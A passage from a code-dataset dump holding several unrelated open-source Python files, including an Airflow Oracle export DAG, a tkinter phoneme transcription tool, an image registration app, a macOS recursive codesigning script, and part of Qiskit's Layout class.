DBMS_STATS.FLUSH_DATABASE_MONITORING_INFO;\n    END;\n    \"\"\"\n\n    with conn.cursor() as cursor:\n        cursor.execute(flush_database_monitoring_info_query)\n\n@task\ndef get_tab_modifications():\n    # Connect to Oracle and fetch data from USER_TAB_MODIFICATIONS\n    oracle_hook = OracleHook(oracle_conn_id)\n    oracle_conn = oracle_hook.get_conn()\n\n    oracle_query = \"\"\"\n    SELECT TABLE_NAME, PARTITION_NAME, SUBPARTITION_NAME, INSERTS, UPDATES, DELETES, TIMESTAMP AS TIMESTAMP_VAL, TRUNCATED, DROP_SEGMENTS\n    FROM USER_TAB_MODIFICATIONS\n    \"\"\"\n\n    oracle_data = []\n    with oracle_conn.cursor() as oracle_cursor:\n        oracle_cursor.execute(oracle_query)\n        for row in oracle_cursor.fetchall():\n            row = list(row)\n            row[6] = row[6].strftime(\"%Y-%m-%d %H:%M:%S\")  # Convert datetime to string\n            oracle_data.append(tuple(row))\n\n    return oracle_data\n\n@task\ndef save_tab_modifications_snapshot(tab_modifications):\n    # Connect to PostgreSQL and insert data into the snapshot_tab_modifications table\n    postgres_hook = PostgresHook(postgres_conn_id)\n    postgres_conn = postgres_hook.get_conn()\n\n    postgres_insert_query = \"\"\"\n    INSERT INTO snapshot_tab_modifications (\n        snapshot_dt, table_owner, table_name, partition_name, subpartition_name, inserts, updates, deletes, \"timestamp\", truncated, drop_segments)\n    VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n    \"\"\"\n\n    snapshot_dt = datetime.now()\n    with postgres_conn.cursor() as postgres_cursor:\n        for row in tab_modifications:\n            postgres_cursor.execute(postgres_insert_query, (snapshot_dt, schema_name,) + tuple(row))\n        postgres_conn.commit()\n\n@task\ndef export_changed_data(tab_modifications):\n    if tab_modifications is None:\n        logging.error(\"No changed tables or partitions results found.\")\n        return\n\n    changed_tables = set()\n    changed_partitions = set()\n\n    for row in tab_modifications:\n        table_name, partition_name, subpartition_name, inserts, updates, deletes, timestamp_val, truncated, drop_segments = tuple(row)\n\n        if any([inserts, updates, deletes, truncated=='YES', drop_segments]):\n            if partition_name is None:\n                changed_tables.add(table_name)\n            else:\n                changed_partitions.add((table_name, partition_name))\n\n    # Export changed tables from tables_non_partitioned\n    for table_name in changed_tables:\n        if table_name in tables_non_partitioned:\n            export_non_partitioned_table_to_parquet(oracle_conn_id, table_name)\n\n    # Export changed partitions\n    for table_name, partition_name in changed_partitions:\n        # Skip aggregated row\n        if partition_name is not None:\n            high_value = get_high_value(oracle_conn_id, table_name, partition_name)\n            high_value_date = datetime.strptime(high_value, '%Y-%m-%d')\n            partition_label = None\n\n            if table_name in tables_partitioned_by_day:\n                partition_label = high_value_date.strftime('%Y_%m_%d')\n            elif table_name in tables_partitioned_by_month:\n                partition_label = high_value_date.strftime('%Y_%m')\n\n            if partition_label:\n                export_partition_to_parquet(oracle_conn_id, table_name, partition_name, partition_label)\n\n# Define the DAG\ndefault_args = {\n    'owner': 'airflow',\n    'depends_on_past': False,\n    'start_date': datetime(2023, 3, 1),\n    'email_on_failure': False,\n    'email_on_retry': False,\n    'retries': 1,\n    'retry_delay': timedelta(minutes=5),\n}\n\ndag = DAG(\n    \"oracle_to_snowflake\",\n    default_args=default_args,\n    description=\"Export changed partitions from Oracle to Parquet files\",\n    schedule_interval='0 0 * * *', # run at midnight every day\n    catchup=False,\n)\n\n# Define the task dependencies\nwith dag:\n    flush_database_monitoring_info_task = flush_database_monitoring_info()\n    tab_modifications = get_tab_modifications()\n    save_tab_modifications_snapshot_task = save_tab_modifications_snapshot(tab_modifications)\n    export_changed_data_task = export_changed_data(tab_modifications)\n\n    final = EmptyOperator(task_id=f\"final\")\n\n    flush_database_monitoring_info_task >> tab_modifications\n    tab_modifications >> save_tab_modifications_snapshot_task\n    tab_modifications >> export_changed_data_task >> final\n\n","repo_name":"Aleksey-Movchanyuk/partition-based-cdc","sub_path":"airflow/dags/oracle_to_snowflake_dag.py","file_name":"oracle_to_snowflake_dag.py","file_ext":"py","file_size_in_byte":5383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23875560861","text":"import tkinter as tk\r\nfrom tkinter import ttk\r\nimport subprocess\r\nimport glob\r\nimport json\r\nfrom tkinter import filedialog  # Import filedialog\r\nfrom os import path\r\n\r\n# Create a tkinter window\r\nroot = tk.Tk()\r\nroot.title(\"Auto-trans\")\r\n\r\n# Import the tcl file for the Forest theme\r\nroot.tk.call(\"source\", \"./Forest-ttk-theme-1.0/forest-dark.tcl\")\r\n\r\n# Set the theme with the theme_use method\r\nstyle = ttk.Style(root)\r\nstyle.theme_use(\"forest-dark\")\r\n\r\n# Create a BooleanVar with global scope\r\ntrans_check_var = tk.BooleanVar()\r\n\r\n# Function to run the Auto-trans script\r\ndef run_auto_trans():\r\n    # Your Auto-trans script code here\r\n    jsonfile = open(\"hiragana.json\", encoding='UTF-8', errors='ignore')\r\n    pDict = json.load(jsonfile)\r\n    jsonfile.close()\r\n    \r\n    wav_path = wav_entry.get()\r\n    wav_path = wav_path + \"\\\\\"\r\n    wav_files = glob.glob(f'{wav_path}*.wav')\r\n    \r\n    creating_ask = trans_check_var.get()\r\n    auto_creating = False\r\n    if creating_ask:\r\n        auto_creating = True\r\n\r\n    for filepath in wav_files:\r\n        name = path.basename(filepath)\r\n        name = path.splitext(name)[0]\r\n\r\n        filepath = filepath.replace(\".wav\", \".trans\")\r\n        trans_file = open(filepath, \"w+\")\r\n        if auto_creating:\r\n            nameLen = len(name)\r\n            phoneme = \"Sil \"\r\n            findCheck = False\r\n            for i in range(0, nameLen):\r\n                findCheck = False\r\n                if i + 1 < nameLen:\r\n                    for obj in pDict:\r\n                        if obj['kana'] == (name[i] + name[i + 1]):\r\n                            phoneme += obj['phoneme'] + \" \"\r\n                            findCheck = True\r\n                            break\r\n                    if not findCheck:\r\n                        for obj in pDict:\r\n                            if obj['kana'] == (name[i]):\r\n                                phoneme += obj['phoneme'] + \" \"\r\n                                break\r\n                else:\r\n                    for obj in pDict:\r\n                        if obj['kana'] == (name[i]):\r\n                            phoneme += obj['phoneme'] + \" \"\r\n                            break\r\n\r\n            phoneme += \"Sil\"\r\n\r\n            trans_file.write(phoneme)\r\n            phonlist = phoneme.split()\r\n            phonLen = len(phonlist)\r\n            for i in range(0, phonLen):\r\n                if i < phonLen - 1:\r\n                    trans_file.write(\"\\n[\" + phonlist[i] + \" \" + phonlist[i + 1] + \"]\")\r\n                else:\r\n                    break\r\n\r\n        trans_file.close()\r\n    \r\n    result_text.config(state=tk.NORMAL)\r\n    result_text.delete(\"1.0\", tk.END)\r\n    result_text.insert(tk.END, \"Process Completed!\")\r\n    result_text.config(state=tk.DISABLED)\r\n\r\ndef browse_wav_directory():\r\n    wav_directory = filedialog.askdirectory()  # Open directory dialog\r\n    wav_entry.delete(0, tk.END)  # Clear any previous input\r\n    wav_entry.insert(0, wav_directory)  # Insert selected directory path\r\n\r\n# Create a frame for the Auto-trans page\r\nauto_trans_page = tk.Frame(root)\r\nauto_trans_page.pack(padx=20, pady=20)\r\n\r\n# Create a label and entry for the wav directory\r\nwav_label = tk.Label(auto_trans_page, text=\"Enter wav directory:\")\r\nwav_label.pack()\r\nwav_entry = tk.Entry(auto_trans_page)\r\nwav_entry.pack()\r\nbrowse_button = ttk.Button(auto_trans_page, text=\"Browse\", command=browse_wav_directory)\r\nbrowse_button.pack()\r\n\r\n# Create a checkbox for transcription writing\r\ntrans_check = ttk.Checkbutton(auto_trans_page, text=\"Write transcriptions automatically\", variable=trans_check_var)\r\ntrans_check.pack()\r\n\r\n# Create a \"Run\" button\r\nrun_button = ttk.Button(auto_trans_page, text=\"Run Auto-trans Script\", command=run_auto_trans)\r\nrun_button.pack()\r\n\r\n# Create a text widget for the script output\r\nresult_text = tk.Text(auto_trans_page, height=5, width=40, state=tk.DISABLED)\r\nresult_text.pack()\r\n\r\n# Start the tkinter main loop\r\nroot.mainloop()\r\n","repo_name":"bread-in-a-can/Canned-Bread-s-VOCALOIDDBTOOL-Swiss-Army-Knife","sub_path":"Auto_trans_GUI.py","file_name":"Auto_trans_GUI.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"22"}
+{"seq_id":"7512672751","text":"from contextlib import contextmanager\nfrom os import PathLike\nfrom typing import Optional, Type, Union\n\nimport numpy as np\nimport pandas as pd\nfrom qtpy.QtWidgets import QApplication\nfrom skimage.transform import (\n    AffineTransform,\n    EuclideanTransform,\n    ProjectiveTransform,\n    SimilarityTransform,\n)\n\nfrom ._napping_navigator import NappingNavigator\nfrom .qt import NappingDialog, NappingViewer, NappingWidget\n\n\nclass NappingApplication:\n    RESTART_RETURN_CODE = 1000\n\n    def __init__(self) -> None:\n        self._navigator = NappingNavigator()\n        self._current_app: Optional[QApplication] = None\n        self._current_widget: Optional[NappingWidget] = None\n        self._current_source_viewer: Optional[NappingViewer] = None\n        self._current_target_viewer: Optional[NappingViewer] = None\n        self._transform_type: Optional[Type[ProjectiveTransform]] = None\n        self._pre_transform: Optional[np.ndarray] = None\n        self._post_transform: Optional[np.ndarray] = None\n        self._current_transform: Optional[np.ndarray] = None\n        self._current_source_coords: Optional[pd.DataFrame] = None\n        self._current_transf_coords: Optional[pd.DataFrame] = None\n        self._write_blocked = False\n\n    def exec(self, app: Optional[QApplication] = None) -> None:\n        return_code = NappingApplication.RESTART_RETURN_CODE\n        while return_code == NappingApplication.RESTART_RETURN_CODE:\n            self._current_app = app or QApplication([])\n            assert self._navigator.current_source_img_file is not None\n            self._current_source_viewer = self._create_source_viewer(\n                self._navigator.current_source_img_file\n            )\n            assert self._navigator.current_target_img_file is not None\n            self._current_target_viewer = self._create_target_viewer(\n                self._navigator.current_target_img_file\n            )\n            self._current_widget = self._create_widget()\n            assert self._navigator.current_control_points_file is not None\n            if self._navigator.current_control_points_file.is_file():\n                current_control_points = pd.read_csv(\n                    self._navigator.current_control_points_file,\n                    index_col=0,\n                )\n                if len(current_control_points.index) > 0:\n                    self.set_current_control_points(current_control_points)\n            if (\n                self._navigator.current_source_coords_file is not None\n                and self._navigator.current_source_coords_file.is_file()\n            ):\n                current_source_coords = pd.read_csv(\n                    self._navigator.current_source_coords_file\n                )\n                if len(current_source_coords.index) > 0:\n                    self._current_source_coords = current_source_coords\n            self._update_current_transform()\n            self._update_current_transf_coords()\n            self._current_source_viewer.control_points_changed_handlers.append(\n                self._handle_control_points_changed\n            )\n            self._current_target_viewer.control_points_changed_handlers.append(\n                self._handle_control_points_changed\n            )\n            self._current_source_viewer.show()\n            self._current_target_viewer.show()\n            self._current_widget.show()\n            self._current_widget.refresh()\n            return_code = self._current_app.exec()\n\n    def exec_dialog(self, app: Optional[QApplication] = None) -> None:\n        if app is None:\n            app = QApplication([])\n        dialog = self._create_dialog()\n        if dialog.exec() == NappingDialog.DialogCode.Accepted:\n            assert dialog.transform_type is not None\n            self._transform_type = {\n                NappingDialog.TransformType.EUCLIDEAN: EuclideanTransform,\n                NappingDialog.TransformType.SIMILARITY: SimilarityTransform,\n                NappingDialog.TransformType.AFFINE: AffineTransform,\n            }[dialog.transform_type]\n            if dialog.pre_transform_path is not None:\n                self._pre_transform = np.load(dialog.pre_transform_path)\n            else:\n                self._pre_transform = None\n            if dialog.post_transform_path is not None:\n                self._post_transform = np.load(dialog.post_transform_path)\n            else:\n                self._post_transform = None\n            if dialog.selection_mode == NappingDialog.SelectionMode.FILE:\n                assert dialog.source_img_path is not None\n                assert dialog.target_img_path is not None\n                assert dialog.control_points_path is not None\n                assert dialog.joint_transform_path is not None\n                self._navigator.load_file(\n                    dialog.source_img_path,\n                    dialog.target_img_path,\n                    dialog.control_points_path,\n                    dialog.joint_transform_path,\n                    source_coords_file=dialog.source_coords_path,\n                    transf_coords_file=dialog.transf_coords_path,\n                )\n            elif dialog.selection_mode == NappingDialog.SelectionMode.DIR:\n                assert dialog.matching_strategy is not None\n                assert dialog.source_img_path is not None\n                assert dialog.target_img_path is not None\n                assert dialog.control_points_path is not None\n                assert dialog.joint_transform_path is not None\n                dialog.control_points_path.mkdir(exist_ok=True)\n                dialog.joint_transform_path.mkdir(exist_ok=True)\n                if dialog.transf_coords_path is not None:\n                    dialog.transf_coords_path.mkdir(exist_ok=True)\n                self._navigator.load_dir(\n                    dialog.source_img_path,\n                    dialog.target_img_path,\n                    dialog.control_points_path,\n                    dialog.joint_transform_path,\n                    {\n                        NappingDialog.MatchingStrategy.ALPHABETICAL: (\n                            NappingNavigator.MatchingStrategy.ALPHABETICAL\n                        ),\n                        NappingDialog.MatchingStrategy.FILENAME: (\n                            NappingNavigator.MatchingStrategy.FILENAME\n                        ),\n                        NappingDialog.MatchingStrategy.REGEX: (\n                            NappingNavigator.MatchingStrategy.REGEX\n                        ),\n                    }[dialog.matching_strategy],\n                    source_regex=dialog.source_regex,\n                    target_regex=dialog.target_regex,\n                    source_coords_regex=dialog.source_coords_regex,\n                    source_coords_dir=dialog.source_coords_path,\n                    transf_coords_dir=dialog.transf_coords_path,\n                )\n            else:\n                raise RuntimeError(\"Unexpected dialog selection mode\")\n            self.exec(app=app)\n\n    def restart(self) -> None:\n        assert self._current_app is not None\n        assert self._current_widget is not None\n        assert self._current_source_viewer is not None\n        assert self._current_target_viewer is not None\n        self._current_source_viewer.close()\n        self._current_target_viewer.close()\n        self._current_widget.close()\n        self._current_app.exit(returnCode=NappingApplication.RESTART_RETURN_CODE)\n        self._current_app = None\n        self._current_widget = None\n        self._current_source_viewer = None\n        self._current_target_viewer = None\n\n    def get_current_joint_transform(self) -> Optional[np.ndarray]:\n        if self._current_transform is not None:\n            current_joint_transform = self._current_transform\n            if self._pre_transform is not None:\n                current_joint_transform = current_joint_transform @ self._pre_transform\n            if self._post_transform is not None:\n                current_joint_transform = self._post_transform @ current_joint_transform\n            return current_joint_transform\n        return None\n\n    def get_current_control_points(self) -> Optional[pd.DataFrame]:\n        if (\n            self._current_source_viewer is not None\n            and self._current_target_viewer is not None\n        ):\n            current_source_control_points = (\n                self._current_source_viewer.get_control_points()\n            )\n            current_target_control_points = (\n                self._current_target_viewer.get_control_points()\n            )\n            if (\n                current_source_control_points is not None\n                and current_target_control_points is not None\n            ):\n                return pd.merge(\n                    current_source_control_points,\n                    current_target_control_points,\n                    left_index=True,\n                    right_index=True,\n                    suffixes=(\"_source\", \"_target\"),\n                )\n        return None\n\n    def set_current_control_points(\n        self, current_control_points: Optional[pd.DataFrame]\n    ) -> None:\n        assert self._current_source_viewer is not None\n        assert self._current_target_viewer is not None\n        with self._block_write():\n            if current_control_points is not None:\n                current_source_control_points = current_control_points.loc[\n                    :, [\"x_source\", \"y_source\"]\n                ].copy()\n                current_target_control_points = current_control_points.loc[\n                    :, [\"x_target\", \"y_target\"]\n                ].copy()\n                current_source_control_points.columns = [\"x\", \"y\"]\n                current_target_control_points.columns = [\"x\", \"y\"]\n                self._current_source_viewer.set_control_points(\n                    current_source_control_points\n                )\n                self._current_target_viewer.set_control_points(\n                    current_target_control_points\n                )\n            else:\n                self._current_source_viewer.set_control_points(None)\n                self._current_target_viewer.set_control_points(None)\n\n    def get_current_control_point_residuals(\n        self,\n    ) -> Optional[np.ndarray]:\n        if self._current_transform is not None:\n            current_control_points = self.get_current_control_points()\n            if current_control_points is not None and not current_control_points.empty:\n                assert self._transform_type is not None\n                tf = self._transform_type(self._current_transform)\n                return tf.residuals(\n                    current_control_points.loc[:, [\"x_source\", \"y_source\"]].to_numpy(),\n                    current_control_points.loc[:, [\"x_target\", \"y_target\"]].to_numpy(),\n                )\n        return None\n\n    def _create_dialog(self) -> NappingDialog:\n        return NappingDialog()\n\n    def _create_source_viewer(self, img_file: Union[str, PathLike]) -> NappingViewer:\n        return NappingViewer(img_file)\n\n    def _create_target_viewer(self, img_file: Union[str, PathLike]) -> NappingViewer:\n        return NappingViewer(img_file)\n\n    def _create_widget(self) -> NappingWidget:\n        return NappingWidget(self)\n\n    def _handle_control_points_changed(\n        self, viewer: NappingViewer, control_points: Optional[pd.DataFrame]\n    ) -> None:\n        current_control_points = self.get_current_control_points()\n        if not self._write_blocked and current_control_points is not None:\n            assert self._navigator.current_control_points_file is not None\n            with self._navigator.current_control_points_file.open(\n                mode=\"wb\", buffering=0\n            ) as f:\n                current_control_points.to_csv(f, mode=\"wb\")\n        self._update_current_transform()\n        current_joint_transform = self.get_current_joint_transform()\n        if not self._write_blocked and current_joint_transform is not None:\n            np.save(\n                self._navigator.current_joint_transform_file,\n                current_joint_transform,\n            )\n        self._update_current_transf_coords()\n        if not self._write_blocked and self._current_transf_coords is not None:\n            assert self._navigator.current_transf_coords_file is not None\n            with self._navigator.current_transf_coords_file.open(\n                mode=\"wb\", buffering=0\n            ) as f:\n                self._current_transf_coords.to_csv(f, mode=\"wb\", index=False)\n        assert self._current_widget is not None\n        self._current_widget.refresh()\n\n    def _update_current_transform(self) -> None:\n        self._current_transform = None\n        current_control_points = self.get_current_control_points()\n        assert current_control_points is not None\n        if current_control_points.shape[0] >= 3:\n            assert self._transform_type is not None\n            tf = self._transform_type()\n            if tf.estimate(\n                current_control_points.loc[:, [\"x_source\", \"y_source\"]].to_numpy(),\n                current_control_points.loc[:, [\"x_target\", \"y_target\"]].to_numpy(),\n            ):\n                self._current_transform = tf.params\n\n    def _update_current_transf_coords(self) -> None:\n        self._current_transf_coords = None\n        current_joint_transform = self.get_current_joint_transform()\n        if (\n            self._current_source_coords is not None\n            and current_joint_transform is not None\n        ):\n            x = np.ones((self._current_source_coords.shape[0], 3))\n            x[:, :2] = self._current_source_coords.loc[:, [\"X\", \"Y\"]].to_numpy()\n            self._current_transf_coords = self._current_source_coords.copy()\n            self._current_transf_coords.loc[:, [\"X\", \"Y\"]] = (\n                current_joint_transform @ x.T\n            ).T[:, :2]\n\n    @contextmanager\n    def _block_write(self):\n        self._write_blocked = True\n        yield\n        self._write_blocked = False\n\n    @property\n    def navigator(self) -> NappingNavigator:\n        return self._navigator\n\n    @property\n    def current_app(self) -> Optional[QApplication]:\n        return self._current_app\n\n    @property\n    def current_widget(self) -> Optional[NappingWidget]:\n        return self._current_widget\n\n    @property\n    def current_source_viewer(self) -> Optional[NappingViewer]:\n        return self._current_source_viewer\n\n    @property\n    def current_target_viewer(self) -> Optional[NappingViewer]:\n        return self._current_target_viewer\n\n    @property\n    def transform_type(self) -> Optional[Type[ProjectiveTransform]]:\n        return self._transform_type\n\n    @transform_type.setter\n    def transform_type(\n        self, transform_type: Optional[Type[ProjectiveTransform]]\n    ) -> None:\n        self._transform_type = transform_type\n\n    @property\n    def pre_transform(self) -> Optional[np.ndarray]:\n        return self._pre_transform\n\n    @pre_transform.setter\n    def pre_transform(self, pre_transform: Optional[np.ndarray]) -> None:\n        self._pre_transform = pre_transform\n\n    @property\n    def post_transform(self) -> Optional[np.ndarray]:\n        return self._post_transform\n\n    @post_transform.setter\n    def post_transform(self, post_transform: Optional[np.ndarray]) -> None:\n        self._post_transform = post_transform\n\n    @property\n    def current_transform(self) -> Optional[np.ndarray]:\n        return self._current_transform\n\n    @property\n    def current_source_coords(self) -> Optional[pd.DataFrame]:\n        return self._current_source_coords\n\n    @property\n    def current_transf_coords(self) -> Optional[pd.DataFrame]:\n        return self._current_transf_coords\n","repo_name":"BodenmillerGroup/napping","sub_path":"napping/_napping_application.py","file_name":"_napping_application.py","file_ext":"py","file_size_in_byte":15691,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"74545425015","text":"\"\"\"\nhttps://stackoverflow.com/questions/49748988/how-to-codesign-dmg-and-app-inside-it\nThis code helps with recursive code-signing of all files in a given directory\n\nExample command line may look like this\nExample command line may look like this\n\npython recursive_code_sign.py --directory=/Users/m/mini_cc3d_install_1/\n--certificate-label=\"Developer ID Application: Indiana University (XXX)\"\n--keychain-path=/Users/m/Library/Keychains/login.keychain-db\n\n\n\"\"\"\nimport argparse\nimport os\nfrom os.path import *\nfrom pathlib import Path\nimport subprocess\nimport numpy as np\n\n\ndef process_cml():\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('--directory', required=True, type=str)\n    parser.add_argument('--certificate-label', required=True, type=str)\n    parser.add_argument('--keychain-path', required=True)\n\n    args = parser.parse_args()\n\n    return args\n\ndef determine_if_binary_file(fname):\n    core, ext = splitext(fname)\n    if ext in ['.pyc', 'py']:\n        return False\n\n    if ext in ['.so', 'dylib']:\n        return True\n\n    textchars = bytearray({7,8,9,10,12,13,27} | set(range(0x20, 0x100)) - {0x7f})\n    is_binary_string = lambda bytes: bool(bytes.translate(None, textchars))\n    flag = is_binary_string(open(fname, 'rb').read(1024))\n\n    return flag\n\ndef codesign_directory(directory, certificate_label, keychain_path):\n    \"\"\"\n\n    :param directory:\n    :param certificate_label:\n    :param keychain_path:\n    :return:\n    \"\"\"\n\n    # traverse root directory, and list directories as dirs and files as files\n    for root, dirs, files in os.walk(directory):\n\n        path = root.split(os.sep)\n        for file in files:\n            stem, ext = splitext(file)\n\n            fname = join(root, file)\n\n            if not determine_if_binary_file(fname=fname):\n\n                continue\n\n            print(fname)\n            # we enable hardened runtime using --options runtime\n            # see https://stackoverflow.com/questions/52905940/how-to-codesign-and-enable-the-hardened-runtime-for-a-3rd-party-cli-on-xcode\n            cmd = f'codesign -f -v --options runtime --timestamp -s \"{certificate_label}\" --keychain {keychain_path} {fname}'\n            # cmd = f'codesign -f -v -s \"{certificate_label}\" --keychain {keychain_path} {fname}'\n            os.system(cmd)\n\n\ndef codesign_directory_entitlement(directory, certificate_label, keychain_path, entitlement_file):\n    \"\"\"\n\n    :param directory:\n    :param certificate_label:\n    :param keychain_path:\n    :param entitlement_file:\n    :return:\n    \"\"\"\n\n    # traverse root directory, and list directories as dirs and files as files\n    for root, dirs, files in os.walk(directory):\n\n        path = root.split(os.sep)\n        for file in files:\n            stem, ext = splitext(file)\n\n            fname = join(root, file)\n\n            if not determine_if_binary_file(fname=fname):\n\n                continue\n\n            print(fname)\n            # we enable hardened runtime using --options runtime\n            # see https://stackoverflow.com/questions/52905940/how-to-codesign-and-enable-the-hardened-runtime-for-a-3rd-party-cli-on-xcode\n            # cmd = f'codesign -f -v --options runtime --timestamp -s \"{certificate_label}\" --keychain {keychain_path} {fname}'\n            # cmd = f'codesign -f --entitlement {entitlement_file} -v -s \"{certificate_label}\" --keychain {keychain_path} {fname}'\n            # cmd = f'codesign -f --entitlement {entitlement_file} -v --options runtime --timestamp -s \"{certificate_label}\" --keychain {keychain_path} {fname}'\n            cmd = f'codesign  -v --options runtime --timestamp -s \"{certificate_label}\" -f --entitlement {entitlement_file} --keychain {keychain_path} {fname}'\n            os.system(cmd)\n            # cmd = f'codesign -f --entitlement {entitlement_file} -v -s \"{certificate_label}\" --keychain {keychain_path} {fname}'\n            # os.system(cmd)\n\n            # cmd = f'codesign  -v --options runtime --timestamp -s \"{certificate_label}\"  --keychain {keychain_path} {fname}'\n            # os.system(cmd)\n            # f'codesign -f --entitlement {entitlement_file}'\n            # os.system(cmd)\n\n\n\n\ndef main():\n    args = process_cml()\n    directory = args.directory\n\n    certificate_label = args.certificate_label\n    keychain_path = args.keychain_path\n\n    codesign_directory(directory=directory, certificate_label=certificate_label, keychain_path=keychain_path)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"CompuCell3D/cc3d_build_scripts","sub_path":"mac/build_scripts_py3/rpath_handlers/recursive_code_sign.py","file_name":"recursive_code_sign.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32533487261","text":"\nr = open(\"header.txt\")\nls = r.readlines()\nr.close()\n\n# Es una lista normal!\n# El header es el elem 0 de la lista\n# Toda la list des del elemento 1 hasta el final\nls2 = ls[1:]\n\nsuma = 0\nfor l in ls2:\n    nota = float(l.strip())\n    suma += nota\n\nprint(\"PROMEDIO\",suma/len(ls2))\n\n'''\nr = open(\"header.txt\")\nls = r.readlines()\nr.close()\n\nsuma = 0\nfor l in ls:\n    nota = float(l.strip())\n    suma += nota\n\nprint(\"PROMEDIO\",suma/len(ls))\n'''\n\n\n\n\n\n\n\n\n","repo_name":"jorgedg6/material-computacion","sub_path":"INTRO A PYTHON/Codigos/10. Archivos/header.py","file_name":"header.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32800945890","text":"import torch\n\nfrom syft.generic import object_storage\n\n\ndef test_clear_objects():\n    \"\"\"\n    Checks the clear_objects method\n    \"\"\"\n    #  obj_storage is a wrapper object to a collection of objects\n    obj_storage = object_storage.ObjectStore()\n\n    x = torch.tensor(1)\n    obj_storage.set_obj(x)\n\n    objs = obj_storage.current_objects()  # Returns a copy of the objects in obj_storage(here:x)\n\n    assert len(objs) == 1\n    assert objs[x.id] == x\n\n    ret_val = obj_storage.clear_objects()  # Completely removes all objects from obj_storage\n\n    objs = obj_storage.current_objects()\n    assert len(objs) == 0\n    assert ret_val is None\n\n\ndef test_set_obj_takes_ownership(workers):\n    me = workers[\"me\"]\n    bob = workers[\"bob\"]\n\n    x = torch.tensor(1)\n\n    x.owner = bob\n\n    me.object_store.set_obj(x)\n\n    objs = me.object_store._objects\n\n    assert objs[x.id] == x\n    assert objs[x.id].owner == workers[\"me\"]\n","repo_name":"shazi4399/PySyft-a73b13aa84","sub_path":"test/generic/test_object_storage.py","file_name":"test_object_storage.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"6494515909","text":"# Python3 implementation of above approach\n\n# Instantiate the string\ns = \"Mr John Smith\"\n\n# Trim the given string\ns = s.strip()\n\n# Replace All space (unicode is \\\\s) to %20\ns = s.replace(' ', \"%20\")\n\n# Display the result\nprint(s)\n\n# This code is generated by Yvonne Onuorah\n","repo_name":"yvonneonu/test5","sub_path":"test5.py","file_name":"test5.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26678174937","text":"from __future__ import annotations\nfrom typing import List\nfrom dataclasses import dataclass\n\nfrom qiskit import circuit\nfrom qiskit.circuit.quantumregister import Qubit, QuantumRegister\nfrom qiskit.transpiler.exceptions import LayoutError\nfrom qiskit.converters import isinstanceint\n\n\nclass Layout:\n    \"\"\"Two-ways dict to represent a Layout.\"\"\"\n\n    __slots__ = (\"_regs\", \"_p2v\", \"_v2p\")\n\n    def __init__(self, input_dict=None):\n        \"\"\"construct a Layout from a bijective dictionary, mapping\n        virtual qubits to physical qubits\"\"\"\n        self._regs = []\n        self._p2v = {}\n        self._v2p = {}\n        if input_dict is not None:\n            if not isinstance(input_dict, dict):\n                raise LayoutError(\"Layout constructor takes a dict\")\n            self.from_dict(input_dict)\n\n    def __repr__(self):\n        \"\"\"Representation of a Layout\"\"\"\n        str_list = []\n        for key, val in self._p2v.items():\n            str_list.append(f\"{key}: {val},\")\n        if str_list:\n            str_list[-1] = str_list[-1][:-1]\n        return \"Layout({\\n\" + \"\\n\".join(str_list) + \"\\n})\"\n\n    def from_dict(self, input_dict):\n        \"\"\"Populates a Layout from a dictionary.\n\n        The dictionary must be a bijective mapping between\n        virtual qubits (tuple) and physical qubits (int).\n\n        Args:\n            input_dict (dict):\n                e.g.::\n\n                {(QuantumRegister(3, 'qr'), 0): 0,\n                 (QuantumRegister(3, 'qr'), 1): 1,\n                 (QuantumRegister(3, 'qr'), 2): 2}\n\n                Can be written more concisely as follows:\n\n                * virtual to physical::\n\n                    {qr[0]: 0,\n                     qr[1]: 1,\n                     qr[2]: 2}\n\n                * physical to virtual::\n\n                    {0: qr[0],\n                     1: qr[1],\n                     2: qr[2]}\n        \"\"\"\n        for key, value in input_dict.items():\n            virtual, physical = Layout.order_based_on_type(key, value)\n            self._p2v[physical] = virtual\n            if virtual is None:\n                continue\n            self._v2p[virtual] = physical\n\n    @staticmethod\n    def order_based_on_type(value1, value2):\n        \"\"\"decides which one is physical/virtual based on the type. Returns (virtual, physical)\"\"\"\n        if isinstanceint(value1) and isinstance(value2, (Qubit, type(None))):\n            physical = int(value1)\n            virtual = value2\n        elif isinstanceint(value2) and isinstance(value1, (Qubit, type(None))):\n            physical = int(value2)\n            virtual = value1\n        else:\n            raise LayoutError(\n                \"The map (%s -> %s) has to be a (Bit -> integer)\"\n                \" or the other way around.\" % (type(value1), type(value2))\n            )\n        return virtual, physical\n\n    def __getitem__(self, item):\n        if item in self._p2v:\n            return self._p2v[item]\n        if item in self._v2p:\n            return self._v2p[item]\n        raise KeyError(f\"The item {item} does not exist in the Layout\")\n\n    def __contains__(self, item):\n        return item in self._p2v or item in self._v2p\n\n    def __setitem__(self, key, value):\n        virtual, physical = Layout.order_based_on_type(key, value)\n        self._set_type_checked_item(virtual, physical)\n\n    def _set_type_checked_item(self, virtual, physical):\n        old = self._v2p.pop(virtual, None)\n        self._p2v.pop(old, None)\n        old = self._p2v.pop(physical, None)\n        self._v2p.pop(old, None)\n\n        self._p2v[physical] = virtual\n        if virtual is not None:\n            self._v2p[virtual] = physical\n\n    def __delitem__(self, key):\n        if isinstance(key, int):\n            del self._v2p[self._p2v[key]]\n            del self._p2v[key]\n        elif isinstance(key, Qubit):\n            del self._p2v[self._v2p[key]]\n            del self._v2p[key]\n        else:\n            raise LayoutError(\n                \"The key to remove should be of the form\"\n                \" Qubit or integer) and %s was provided\" % (type(key),)\n            )\n\n    def __len__(self):\n        return len(self._p2v)\n\n    def __eq__(self, other):\n        if isinstance(other, Layout):\n            